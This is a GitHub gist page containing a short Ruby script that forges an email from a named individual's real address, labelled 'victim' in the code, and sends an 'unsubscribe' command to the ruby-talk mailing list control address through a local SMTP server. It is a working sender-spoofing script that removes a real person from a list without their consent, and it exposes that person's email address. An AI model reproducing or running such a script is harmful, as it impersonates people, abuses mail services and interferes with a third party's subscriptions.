Skip to content

Instantly share code, notes, and snippets.

@tarcieri
Created April 13, 2010 21:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tarcieri/365142 to your computer and use it in GitHub Desktop.
Save tarcieri/365142 to your computer and use it in GitHub Desktop.
#!/usr/bin/env ruby
require 'net/smtp'
victim = "gmkoller@gmail.com"
message = <<-EOM
From: #{victim}
To: ruby-talk-ctl@ruby-lang.org
Subject: unsubscribe
unsubscribe
EOM
Net::SMTP.start('localhost', 25) do |smtp|
smtp.send_message message, victim, 'ruby-talk-ctl@ruby-lang.org'
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment